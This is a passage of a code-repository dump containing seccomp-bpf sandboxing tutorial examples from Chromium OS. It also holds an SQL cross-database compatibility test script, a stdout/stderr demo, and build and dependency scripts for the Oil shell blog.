disclaimer 16 | in the documentation and/or other materials provided with the 17 | distribution. 18 | * Neither the name of Google Inc. nor the names of its 19 | contributors may be used to endorse or promote products derived from 20 | this software without specific prior written permission. 21 | 22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 23 | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 24 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 25 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 26 | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 27 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 28 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 29 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 30 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 31 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 32 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 33 | -------------------------------------------------------------------------------- /seccomp/step-1/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall 3 | 4 | all: example 5 | 6 | example: example.o 7 | 8 | .PHONY: clean 9 | clean: 10 | rm -f example example.o 11 | -------------------------------------------------------------------------------- /seccomp/step-1/config.h.in: -------------------------------------------------------------------------------- 1 | /* config.h.in. Generated from configure.ac by autoheader. */ 2 | 3 | /* Define to the address where bug reports for this package should be sent. */ 4 | #undef PACKAGE_BUGREPORT 5 | 6 | /* Define to the full name of this package. */ 7 | #undef PACKAGE_NAME 8 | 9 | /* Define to the full name and version of this package. */ 10 | #undef PACKAGE_STRING 11 | 12 | /* Define to the one symbol short name of this package. */ 13 | #undef PACKAGE_TARNAME 14 | 15 | /* Define to the home page for this package. */ 16 | #undef PACKAGE_URL 17 | 18 | /* Define to the version of this package. */ 19 | #undef PACKAGE_VERSION 20 | -------------------------------------------------------------------------------- /seccomp/step-1/configure.ac: -------------------------------------------------------------------------------- 1 | AC_INIT([example], [0.1], [keescook@chromium.org], [example], [http://outflux.net/teach-seccomp/]) 2 | AC_PREREQ([2.59]) 3 | AC_CONFIG_HEADERS([config.h]) 4 | AC_PROG_CC 5 | AC_OUTPUT 6 | -------------------------------------------------------------------------------- /seccomp/step-1/example.c: -------------------------------------------------------------------------------- 1 | /* 2 | * seccomp example with syscall reporting 3 | * 4 | * Copyright (c) 2012 The Chromium OS Authors 5 | * Authors: 6 | * Kees Cook 7 | * Will Drewry 8 | * 9 | * Use of this source code is governed by a BSD-style license that can be 10 | * found in the LICENSE file. 11 | */ 12 | #define _GNU_SOURCE 1 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | int main(int argc, char *argv[]) 19 | { 20 | char buf[1024]; 21 | 22 | printf("Type stuff here: "); 23 | fflush(NULL); 24 | buf[0] = '\0'; 25 | fgets(buf, sizeof(buf), stdin); 26 | printf("You typed: %s", buf); 27 | 28 | printf("And now we fork, which should do quite the opposite ...\n"); 29 | fflush(NULL); 30 | sleep(1); 31 | 32 | fork(); 33 | printf("You should not see this because I'm dead.\n"); 34 | 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /seccomp/step-2/LICENSE: -------------------------------------------------------------------------------- 1 | seccomp example for x86 (32-bit and 64-bit) with BPF macros 2 | 3 | Copyright (c) 2012 The Chromium OS Authors 4 | Authors: 5 | Will Drewry 6 | Kees Cook 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are 10 | met: 11 | 12 | * Redistributions of source code must retain the above copyright 13 | notice, this list of conditions and the following disclaimer. 14 | * Redistributions in binary form must reproduce the above 15 | copyright notice, this list of conditions and the following disclaimer 16 | in the documentation and/or other materials provided with the 17 | distribution. 18 | * Neither the name of Google Inc. nor the names of its 19 | contributors may be used to endorse or promote products derived from 20 | this software without specific prior written permission. 21 | 22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 23 | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 24 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 25 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 26 | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 27 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 28 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 29 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 30 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 31 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 32 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 33 | -------------------------------------------------------------------------------- /seccomp/step-2/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall 3 | 4 | all: example 5 | 6 | example: example.o 7 | 8 | .PHONY: clean 9 | clean: 10 | rm -f example example.o 11 | -------------------------------------------------------------------------------- /seccomp/step-2/config.h.in: -------------------------------------------------------------------------------- 1 | /* config.h.in. Generated from configure.ac by autoheader. */ 2 | 3 | /* Define to 1 if you have the header file. */ 4 | #undef HAVE_INTTYPES_H 5 | 6 | /* Define to 1 if you have the header file. */ 7 | #undef HAVE_LINUX_SECCOMP_H 8 | 9 | /* Define to 1 if you have the header file. */ 10 | #undef HAVE_MEMORY_H 11 | 12 | /* Define to 1 if you have the header file. */ 13 | #undef HAVE_STDINT_H 14 | 15 | /* Define to 1 if you have the header file. */ 16 | #undef HAVE_STDLIB_H 17 | 18 | /* Define to 1 if you have the header file. */ 19 | #undef HAVE_STRINGS_H 20 | 21 | /* Define to 1 if you have the header file. */ 22 | #undef HAVE_STRING_H 23 | 24 | /* Define to 1 if you have the header file. */ 25 | #undef HAVE_SYS_STAT_H 26 | 27 | /* Define to 1 if you have the header file. */ 28 | #undef HAVE_SYS_TYPES_H 29 | 30 | /* Define to 1 if you have the header file. */ 31 | #undef HAVE_UNISTD_H 32 | 33 | /* Define to the address where bug reports for this package should be sent. */ 34 | #undef PACKAGE_BUGREPORT 35 | 36 | /* Define to the full name of this package. */ 37 | #undef PACKAGE_NAME 38 | 39 | /* Define to the full name and version of this package. */ 40 | #undef PACKAGE_STRING 41 | 42 | /* Define to the one symbol short name of this package. */ 43 | #undef PACKAGE_TARNAME 44 | 45 | /* Define to the home page for this package. */ 46 | #undef PACKAGE_URL 47 | 48 | /* Define to the version of this package. */ 49 | #undef PACKAGE_VERSION 50 | 51 | /* Define to 1 if you have the ANSI C header files. */ 52 | #undef STDC_HEADERS 53 | -------------------------------------------------------------------------------- /seccomp/step-2/configure.ac: -------------------------------------------------------------------------------- 1 | AC_INIT([example], [0.1], [keescook@chromium.org], [example], [http://outflux.net/teach-seccomp/]) 2 | AC_PREREQ([2.59]) 3 | AC_CONFIG_HEADERS([config.h]) 4 | AC_PROG_CC 5 | AC_CHECK_HEADERS([linux/seccomp.h]) 6 | AC_OUTPUT 7 | -------------------------------------------------------------------------------- /seccomp/step-2/example.c: -------------------------------------------------------------------------------- 1 | /* 2 | * seccomp example with syscall reporting 3 | * 4 | * Copyright (c) 2012 The Chromium OS Authors 5 | * Authors: 6 | * Kees Cook 7 | * Will Drewry 8 | * 9 | * Use of this source code is governed by a BSD-style license that can be 10 | * found in the LICENSE file. 11 | */ 12 | #define _GNU_SOURCE 1 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | // #include "config.h" 19 | #include "seccomp-bpf.h" 20 | 21 | static int install_syscall_filter(void) 22 | { 23 | struct sock_filter filter[] = { 24 | /* Validate architecture. */ 25 | VALIDATE_ARCHITECTURE, 26 | /* Grab the system call number. */ 27 | EXAMINE_SYSCALL, 28 | /* List allowed syscalls. */ 29 | ALLOW_SYSCALL(rt_sigreturn), 30 | #ifdef __NR_sigreturn 31 | ALLOW_SYSCALL(sigreturn), 32 | #endif 33 | ALLOW_SYSCALL(exit_group), 34 | ALLOW_SYSCALL(exit), 35 | ALLOW_SYSCALL(read), 36 | ALLOW_SYSCALL(write), 37 | KILL_PROCESS, 38 | }; 39 | struct sock_fprog prog = { 40 | .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), 41 | .filter = filter, 42 | }; 43 | 44 | if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { 45 | perror("prctl(NO_NEW_PRIVS)"); 46 | goto failed; 47 | } 48 | if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) { 49 | perror("prctl(SECCOMP)"); 50 | goto failed; 51 | } 52 | return 0; 53 | 54 | failed: 55 | if (errno == EINVAL) 56 | fprintf(stderr, "SECCOMP_FILTER is not available. :(\n"); 57 | return 1; 58 | } 59 | 60 | int main(int argc, char *argv[]) 61 | { 62 | char buf[1024]; 63 | 64 | if (install_syscall_filter()) 65 | return 1; 66 | 67 | printf("Type stuff here: "); 68 | fflush(NULL); 69 | buf[0] = '\0'; 70 | fgets(buf, sizeof(buf), stdin); 71 | printf("You typed: %s", buf); 72 | 73 | printf("And now we fork, which should do quite the opposite ...\n"); 74 | fflush(NULL); 75 | sleep(1); 76 | 77 | fork(); 78 | printf("You should not see this because I'm dead.\n"); 79 | 80 | return 0; 81 | } 82 | -------------------------------------------------------------------------------- /seccomp/step-3/LICENSE: -------------------------------------------------------------------------------- 1 | seccomp example for x86 (32-bit and 64-bit) with BPF macros 2 | 3 | Copyright (c) 2012 The Chromium OS Authors 4 | Authors: 5 | Will Drewry 6 | Kees Cook 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are 10 | met: 11 | 12 | * Redistributions of source code must retain the above copyright 13 | notice, this list of conditions and the following disclaimer. 14 | * Redistributions in binary form must reproduce the above 15 | copyright notice, this list of conditions and the following disclaimer 16 | in the documentation and/or other materials provided with the 17 | distribution. 18 | * Neither the name of Google Inc. nor the names of its 19 | contributors may be used to endorse or promote products derived from 20 | this software without specific prior written permission. 21 | 22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 23 | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 24 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 25 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 26 | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 27 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 28 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 29 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 30 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 31 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 32 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 33 | -------------------------------------------------------------------------------- /seccomp/step-3/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall 3 | 4 | all: example 5 | 6 | include syscall-reporter.mk 7 | 8 | example: example.o syscall-reporter.o 9 | 10 | .PHONY: clean 11 | clean: 12 | rm -f example example.o 13 | -------------------------------------------------------------------------------- /seccomp/step-3/config.h.in: -------------------------------------------------------------------------------- 1 | /* config.h.in. Generated from configure.ac by autoheader. */ 2 | 3 | /* Define to 1 if you have the header file. */ 4 | #undef HAVE_INTTYPES_H 5 | 6 | /* Define to 1 if you have the header file. */ 7 | #undef HAVE_LINUX_SECCOMP_H 8 | 9 | /* Define to 1 if you have the header file. */ 10 | #undef HAVE_MEMORY_H 11 | 12 | /* Define to 1 if you have the header file. */ 13 | #undef HAVE_STDINT_H 14 | 15 | /* Define to 1 if you have the header file. */ 16 | #undef HAVE_STDLIB_H 17 | 18 | /* Define to 1 if you have the header file. */ 19 | #undef HAVE_STRINGS_H 20 | 21 | /* Define to 1 if you have the header file. */ 22 | #undef HAVE_STRING_H 23 | 24 | /* Define to 1 if you have the header file. */ 25 | #undef HAVE_SYS_STAT_H 26 | 27 | /* Define to 1 if you have the header file. */ 28 | #undef HAVE_SYS_TYPES_H 29 | 30 | /* Define to 1 if you have the header file. */ 31 | #undef HAVE_UNISTD_H 32 | 33 | /* Define to the address where bug reports for this package should be sent. */ 34 | #undef PACKAGE_BUGREPORT 35 | 36 | /* Define to the full name of this package. */ 37 | #undef PACKAGE_NAME 38 | 39 | /* Define to the full name and version of this package. */ 40 | #undef PACKAGE_STRING 41 | 42 | /* Define to the one symbol short name of this package. */ 43 | #undef PACKAGE_TARNAME 44 | 45 | /* Define to the home page for this package. */ 46 | #undef PACKAGE_URL 47 | 48 | /* Define to the version of this package. */ 49 | #undef PACKAGE_VERSION 50 | 51 | /* Define to 1 if you have the ANSI C header files. */ 52 | #undef STDC_HEADERS 53 | -------------------------------------------------------------------------------- /seccomp/step-3/configure.ac: -------------------------------------------------------------------------------- 1 | AC_INIT([example], [0.1], [keescook@chromium.org], [example], [http://outflux.net/teach-seccomp/]) 2 | AC_PREREQ([2.59]) 3 | AC_CONFIG_HEADERS([config.h]) 4 | AC_PROG_CC 5 | AC_CHECK_HEADERS([linux/seccomp.h]) 6 | AC_OUTPUT 7 | -------------------------------------------------------------------------------- /seccomp/step-3/syscall-reporter.c: -------------------------------------------------------------------------------- 1 | /* 2 | * syscall reporting example for seccomp 3 | * 4 | * Copyright (c) 2012 The Chromium OS Authors 5 | * Authors: 6 | * Will Drewry 7 | * Kees Cook 8 | * 9 | * Use of this source code is governed by a BSD-style license that can be 10 | * found in the LICENSE file. 11 | */ 12 | #include "syscall-reporter.h" 13 | #include "syscall-names.h" 14 | 15 | const char * const msg_needed = "Looks like you also need syscall: "; 16 | 17 | /* Since "sprintf" is technically not signal-safe, reimplement %d here. */ 18 | static void write_uint(char *buf, unsigned int val) 19 | { 20 | int width = 0; 21 | unsigned int tens; 22 | 23 | if (val == 0) { 24 | strcpy(buf, "0"); 25 | return; 26 | } 27 | for (tens = val; tens; tens /= 10) 28 | ++ width; 29 | buf[width] = '\0'; 30 | for (tens = val; tens; tens /= 10) 31 | buf[--width] = '0' + (tens % 10); 32 | } 33 | 34 | static void reporter(int nr, siginfo_t *info, void *void_context) 35 | { 36 | char buf[128]; 37 | ucontext_t *ctx = (ucontext_t *)(void_context); 38 | unsigned int syscall; 39 | if (info->si_code != SYS_SECCOMP) 40 | return; 41 | if (!ctx) 42 | return; 43 | syscall = ctx->uc_mcontext.gregs[REG_SYSCALL]; 44 | strcpy(buf, msg_needed); 45 | if (syscall < sizeof(syscall_names)) { 46 | strcat(buf, syscall_names[syscall]); 47 | strcat(buf, "("); 48 | } 49 | write_uint(buf + strlen(buf), syscall); 50 | if (syscall < sizeof(syscall_names)) 51 | strcat(buf, ")"); 52 | strcat(buf, "\n"); 53 | write(STDOUT_FILENO, buf, strlen(buf)); 54 | _exit(1); 55 | } 56 | 57 | int install_syscall_reporter(void) 58 | { 59 | struct sigaction act; 60 | sigset_t mask; 61 | memset(&act, 0, sizeof(act)); 62 | sigemptyset(&mask); 63 | sigaddset(&mask, SIGSYS); 64 | 65 | act.sa_sigaction = &reporter; 66 | act.sa_flags = SA_SIGINFO; 67 | if (sigaction(SIGSYS, &act, NULL) < 0) { 68 | perror("sigaction"); 69 | return -1; 70 | } 71 | if (sigprocmask(SIG_UNBLOCK, &mask, NULL)) { 72 | perror("sigprocmask"); 73 | return -1; 74 | } 75 | return 0; 76 | } 77 | -------------------------------------------------------------------------------- /seccomp/step-3/syscall-reporter.h: -------------------------------------------------------------------------------- 1 | /* 2 | * syscall reporting example for seccomp 3 | * 4 | * Copyright (c) 2012 The Chromium OS Authors 5 | * Authors: 6 | * Kees Cook 7 | * Will Drewry 8 | * 9 | * Use of this source code is governed by a BSD-style license that can be 10 | * found in the LICENSE file. 11 | */ 12 | #ifndef _BPF_REPORTER_H_ 13 | #define _BPF_REPORTER_H_ 14 | 15 | #include "seccomp-bpf.h" 16 | 17 | /* Since this redfines "KILL_PROCESS" into a TRAP for the reporter hook, 18 | * we want to make sure it stands out in the build as it should not be 19 | * used in the final program. 20 | */ 21 | #warning "You've included the syscall reporter. Do not use in production!" 22 | #undef KILL_PROCESS 23 | #define KILL_PROCESS \ 24 | BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP) 25 | 26 | extern int install_syscall_reporter(void); 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /seccomp/step-3/syscall-reporter.mk: -------------------------------------------------------------------------------- 1 | # 2 | # syscall reporting example for seccomp 3 | # 4 | # Copyright (c) 2012 The Chromium OS Authors 5 | # Authors: 6 | # Kees Cook 7 | # 8 | # Use of this source code is governed by a BSD-style license that can be 9 | # found in the LICENSE file. 10 | 11 | syscall-names.h: /usr/include/sys/syscall.h syscall-reporter.mk 12 | echo "static const char *syscall_names[] = {" > $@ ;\ 13 | echo "#include " | cpp -dM | grep '^#define __NR_' | \ 14 | LC_ALL=C sed -r -n -e 's/^\#define[ \t]+__NR_([a-z0-9_]+)[ \t]+([0-9]+)(.*)/ [\2] = "\1",/p' >> $@ ;\ 15 | echo "};" >> $@ 16 | 17 | syscall-reporter.o: syscall-reporter.c syscall-names.h 18 | -------------------------------------------------------------------------------- /sql/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | # Note: MariaDB agrees with Postgres and sqlite 11 | null-sql() { 12 | echo ' 13 | DROP TABLE IF EXISTS test_null; 14 | CREATE TABLE test_null ( 15 | id INTEGER PRIMARY KEY, 16 | val1 INTEGER, 17 | val2 INTEGER 18 | ); 19 | 20 | INSERT INTO test_null VALUES (1, NULL, 0); 21 | 22 | -- This is to test that there is actually output 23 | -- SELECT * FROM test_null; 24 | -- SELECT "---"; 25 | 26 | SELECT * FROM test_null WHERE val1 = val2; 27 | ' 28 | } 29 | 30 | # Note: MariaDB still disagrees 31 | string-case-sql() { 32 | echo " 33 | DROP TABLE IF EXISTS test_string_case; 34 | CREATE TABLE test_string_case ( 35 | id INTEGER PRIMARY KEY, 36 | name TEXT, 37 | status TEXT 38 | ); 39 | 40 | INSERT INTO test_string_case VALUES 41 | (1, 'Apple', 'active'), 42 | (2, 'Banana', 'ACTIVE'), 43 | (3, 'Cherry', 'Active'); 44 | 45 | SELECT * FROM test_string_case WHERE status = 'active'; 46 | " 47 | } 48 | 49 | compat() { 50 | local user=$1 51 | local pass=$2 52 | local db_maria=$3 53 | local db_postgres=$4 54 | 55 | for test in null string-case; do 56 | echo "*** $test" 57 | 58 | echo ' sqlite3' 59 | ${test}-sql | sqlite3 60 | echo 61 | 62 | echo ' mysql' 63 | ${test}-sql | mysql -h localhost -u $user -p$pass $db_maria 64 | echo 65 | 66 | echo ' postgres' 67 | ${test}-sql | PGPASSWORD=$pass psql -h localhost -U $db_postgres 68 | echo 69 | done 70 | 71 | # TODO: Test on mysql and postgres 72 | # 73 | # Claude AI says sqlite and postgres agree, where mysql disagrees because of its NULL handling. 74 | # 75 | # I guess I can use an SSH tunnnel? Or run it directly on the machine 76 | } 77 | 78 | "$@" 79 | -------------------------------------------------------------------------------- /stdout-stderr/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./demo.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | prog() { 11 | seq 3 12 | seq 4 6 >&2 13 | seq 7 9 14 | } 15 | 16 | filter() { 17 | $0 prog 2> >(awk '{print "e " $0 >> "/dev/stderr"; fflush(); }') > >(awk '{print "o " $0; fflush(); }') 18 | } 19 | 20 | "$@" 21 | -------------------------------------------------------------------------------- /tools-snapshot/blog/2018/02/14.md: -------------------------------------------------------------------------------- 1 | commonmark.md -------------------------------------------------------------------------------- /tools-snapshot/blog/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Oil Blog 3 | body_css_class: wider 4 | --- 5 | 6 | ### Latest Posts 7 | 8 | ==> include _tmp/blog/index_LATEST.html 9 | 10 | ### Where Should I Start Reading? 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 |
  Why Create a New Unix Shell?
  Popular Posts With Many Comments
Pratt Parsing Index and Updates - Popular 25 | posts about expression parsing algorithms. 26 |
   
2016-11-20 Blog Retrospective #1
2017-04-21 Blog Retrospective #2
2017-11-30 Blog Retrospective #3
48 | 49 | ### Read Posts on a Particular Topic 50 | 51 | ==> include _tmp/blog/tag_index.html 52 | 53 | 56 | 57 | ### All Posts in Chronological Order 58 | 59 | ==> include _tmp/blog/index_ALL.html 60 | -------------------------------------------------------------------------------- /tools-snapshot/blog/tags.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Oil Blog Posts by Tag 3 | body_css_class: wider 4 | --- 5 | 6 | See the [blog index](.) for a chronological list of posts. 7 | 8 | Link to directly to a tag `#FOO` with `tags.html#FOO`. 9 | 10 | 11 | ==> include _tmp/blog/posts_by_tag.html 12 | 13 |
14 | 15 | Back to the [blog index](.). 16 | 17 | 18 | 19 |
20 |
21 | 22 | 23 |
24 | 25 | 26 | -------------------------------------------------------------------------------- /tools-snapshot/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./build.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | log() { 11 | echo "$@" >&2 12 | } 13 | 14 | snip-and-markdown() { 15 | local in=$1 16 | local out=$2 17 | 18 | #log "*** Building $in -> $out" 19 | 20 | < $in \ 21 | snip --script ./Snip - | 22 | ./cmark.py | 23 | sed -e 's|
|
|g' -e 's|
|
|g' \ 24 | > $out 25 | echo "Wrote $out" 26 | } 27 | 28 | _link() { 29 | ln --verbose --no-target-directory -s -f "$@" 30 | } 31 | 32 | make-links() { 33 | # _site is already a symlink to oilshell.org 34 | _link ../oilshell.org__deploy _site 35 | _link $PWD/analytics/static ../oilshell.org__deploy/analytics 36 | _link $PWD/analytics/_data ../oilshell.org__deploy/analytics-data 37 | } 38 | 39 | # TODO: This should probably go in the Makefile 40 | make-dirs() { 41 | mkdir -v -p {_tmp/,_site/,}blog/2016/{10,11,12} 42 | mkdir -v -p {_tmp/,_site/,}blog/2017/{01,02,03,04,05,06,07,08,09,10,11,12} 43 | mkdir -v -p {_tmp/,_site/,}blog/2018/{01,02} 44 | } 45 | 46 | # One time thing: Create pygments CSS. 47 | pygments-css() { 48 | #local style=vs # vs is minimal. doesn't have italics for comments. 49 | #local style=tango # operators too noisy. 50 | 51 | #local style=colorful # string has clashing background 52 | #local style=native # doesn't work with grey 53 | #local style=murphy # string has clashing background 54 | 55 | #local style=pastie # char literals too strong, not bad? 56 | 57 | #local style=borland # boring, too blue like links 58 | #local style=vim # garish 59 | local style=friendly # operators not emphasized enough. 60 | 61 | pygmentize -S $style -f html > css/code.css 62 | } 63 | 64 | "$@" 65 | -------------------------------------------------------------------------------- /tools-snapshot/cmark_test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python -S 2 | """ 3 | cmark_test.py: Tests for cmark.py 4 | """ 5 | 6 | import cStringIO 7 | import unittest 8 | 9 | import cmark # module under test 10 | 11 | # No TOC! 12 | SIMPLE_DOC = cStringIO.StringIO(""" 13 | hi 14 | """) 15 | 16 | TOC_DOC = cStringIO.StringIO(""" 17 | Title 18 | ----- 19 | 20 |
21 |
22 | 23 | ### Intro 24 | 25 | This is an h3 26 | in the intro. 27 | 28 | ### Part One: bash 29 | 30 | Another h3. 31 | 32 | #### Detail 1 with link 33 | 34 | An h4. 35 | 36 |

Detail 2

37 | 38 | Another h4. 39 | 40 | ### Conclusion 41 | 42 | Concluding h3. 43 | 44 | 46 | 

47 | def f():
48 |   if 0:
49 |     return False
50 | 
51 |   if 0:
52 |     return True
53 |
54 | """) 55 | 56 | class RenderTest(unittest.TestCase): 57 | 58 | def testRender(self): 59 | out_file = cStringIO.StringIO() 60 | cmark.Render(SIMPLE_DOC, out_file) 61 | self.assertEqual('

hi

\n', out_file.getvalue()) 62 | 63 | out_file = cStringIO.StringIO() 64 | cmark.Render(TOC_DOC, out_file) 65 | print out_file.getvalue() 66 | 67 | 68 | if __name__ == '__main__': 69 | unittest.main() 70 | -------------------------------------------------------------------------------- /tools-snapshot/css/toc.css: -------------------------------------------------------------------------------- 1 | /* 2 | * For toc.js -- also taken from asciidoc. 3 | */ 4 | 5 | div#toc { 6 | margin-top: 2em; 7 | background-color: oldlace; 8 | padding: 1em; 9 | } 10 | 11 | div#toc a { 12 | text-decoration: none; 13 | } 14 | 15 | #toctitle { 16 | text-align: center; 17 | color: #666; 18 | font-weight: bold; 19 | margin-bottom: 0.2em; 20 | /* 21 | */ 22 | } 23 | 24 | div.toclevel1, div.toclevel2, div.toclevel3, div.toclevel4 { 25 | margin-top: 0; 26 | margin-bottom: 0; 27 | } 28 | div.toclevel2 { 29 | margin-left: 2em; 30 | font-size: 0.9em; 31 | } 32 | div.toclevel3 { 33 | margin-left: 4em; 34 | font-size: 0.9em; 35 | } 36 | div.toclevel4 { 37 | margin-left: 6em; 38 | font-size: 0.9em; 39 | } 40 | 41 | -------------------------------------------------------------------------------- /tools-snapshot/deps.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./deps.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | # Dependencies: 11 | # - inotify-tools: for latch 12 | # - markdown 13 | # 14 | # My own dependencies: 15 | # 16 | # ~/git/webpipe/install.sh - latch 17 | # ~/hg/zoo - for snip. 18 | # ~/hg/json-template - latch.py depends on this. Gah. 19 | # 20 | # Probably also: dust repository. 21 | 22 | install() { 23 | sudo apt-get install inotify-tools markdown python-pygments 24 | } 25 | 26 | download-cmark() { 27 | wget --directory _tmp \ 28 | https://github.com/commonmark/cmark/archive/0.28.3.tar.gz 29 | } 30 | 31 | readonly CMARK_DIR=_tmp/cmark-0.28.3 32 | 33 | build-cmark() { 34 | pushd $CMARK_DIR 35 | # GNU make calls cmake? 36 | make 37 | popd 38 | 39 | # Binaries are in build/src 40 | } 41 | 42 | test-install() { 43 | pushd $CMARK_DIR 44 | make test 45 | sudo make install 46 | popd 47 | } 48 | 49 | demo-cmark() { 50 | echo '*hi*' | cmark 51 | } 52 | 53 | "$@" 54 | -------------------------------------------------------------------------------- /tools-snapshot/files.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./files.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | readonly DEST_DIR=../oilshell.org__deploy/blog/2018/01/files 11 | 12 | # Shared functions copied from oilshell.org__deploy/blog/2017/12/files. 13 | 14 | # http://pygments.org/docs/changelog/ 15 | # Gah there is a regression in the packaged verison of the bash lexer. 16 | # 17 | # Installed via PIP. 18 | 19 | install-pygments() { 20 | pip install pygments 21 | } 22 | 23 | format() { 24 | local path=$1 25 | local lang=${2:-bash} 26 | 27 | cat < 29 | 30 | 31 | 32 | 33 | 34 | EOF 35 | pygmentize -f html -l $lang $path 36 | cat < 38 | 39 | EOF 40 | } 41 | 42 | 2018-01-files() { 43 | # STUPID dreamhost! lex.py.html is not an allowed filename. Causes an 44 | # suexec error. 45 | format ../oil/testdata/osh-runtime/abuild sh > $DEST_DIR/abuild.html 46 | format ~/git/basis-build/_tmp/debootstrap/debootstrap > $DEST_DIR/debootstrap.html 47 | format ../distro-build/aboriginal/aboriginal-1.4.5/build.sh > $DEST_DIR/build.sh.html 48 | 49 | ls -l $DEST_DIR 50 | } 51 | 52 | css() { 53 | pygmentize -f html -S default > $DEST_DIR/code.css 54 | ls -l $DEST_DIR 55 | } 56 | 57 | "$@" 58 | -------------------------------------------------------------------------------- /tools-snapshot/latch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./doc.sh 5 | # 6 | # How to serve docs: 7 | # 8 | # $ ./latch.sh notify-loop 9 | # $ ./latch.sh serve 10 | # 11 | # NOTE: doc/index.md appears broken... I think there was some mapping logic in 12 | # the server? 13 | 14 | set -o nounset 15 | set -o pipefail 16 | set -o errexit 17 | 18 | # Hook for latch to build 19 | build-hook() { 20 | local in=$1 21 | local out=$2 22 | make $out 23 | } 24 | 25 | # Rebuild hook. Assumes latch is installed. 26 | notify-loop() { 27 | latch rebuild './latch.sh build-hook' *.md blog/2018/*/*.md 28 | } 29 | 30 | serve() { 31 | latch serve --root-dir _site 32 | } 33 | 34 | "$@" 35 | -------------------------------------------------------------------------------- 